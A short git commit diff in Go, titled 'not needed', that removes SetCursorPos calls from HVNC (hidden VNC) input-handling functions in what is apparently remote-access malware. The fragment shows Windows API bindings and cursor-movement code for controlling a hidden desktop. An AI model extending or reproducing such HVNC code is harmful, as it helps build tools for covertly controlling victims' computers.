not needed
This commit is contained in:
@@ -31,7 +31,6 @@ var (
|
|||||||
procGetTopWindow = user32.NewProc("GetTopWindow")
|
procGetTopWindow = user32.NewProc("GetTopWindow")
|
||||||
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
procCreateProcessW = kernel32.NewProc("CreateProcessW")
|
||||||
procSendInputHVNC = user32.NewProc("SendInput")
|
procSendInputHVNC = user32.NewProc("SendInput")
|
||||||
procSetCursorPosHVNC = user32.NewProc("SetCursorPos")
|
|
||||||
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
|
procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
|
||||||
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
procWindowFromPoint = user32.NewProc("WindowFromPoint")
|
||||||
procScreenToClient = user32.NewProc("ScreenToClient")
|
procScreenToClient = user32.NewProc("ScreenToClient")
|
||||||
@@ -795,7 +794,6 @@ func startHVNCProcessOnThread(filePath string) error {
|
|||||||
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
func hvncMouseMoveOnThread(display int, x, y int32) error {
|
||||||
bounds, _ := hvncResolveCaptureBounds(display)
|
bounds, _ := hvncResolveCaptureBounds(display)
|
||||||
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
|
||||||
procSetCursorPosHVNC.Call(uintptr(x), uintptr(y))
|
|
||||||
hvncInputMu.Lock()
|
hvncInputMu.Lock()
|
||||||
hvncLastCursor = point{x: x, y: y}
|
hvncLastCursor = point{x: x, y: y}
|
||||||
hvncHasCursor = true
|
hvncHasCursor = true
|
||||||
@@ -818,7 +816,6 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
|
|||||||
absY = bounds.Max.Y - 1
|
absY = bounds.Max.Y - 1
|
||||||
}
|
}
|
||||||
|
|
||||||
procSetCursorPosHVNC.Call(uintptr(absX), uintptr(absY))
|
|
||||||
hvncInputMu.Lock()
|
hvncInputMu.Lock()
|
||||||
hvncLastCursor = point{x: int32(absX), y: int32(absY)}
|
hvncLastCursor = point{x: int32(absX), y: int32(absY)}
|
||||||
hvncHasCursor = true
|
hvncHasCursor = true
|
||||||
|
|||||||
Reference in New Issue
Block a user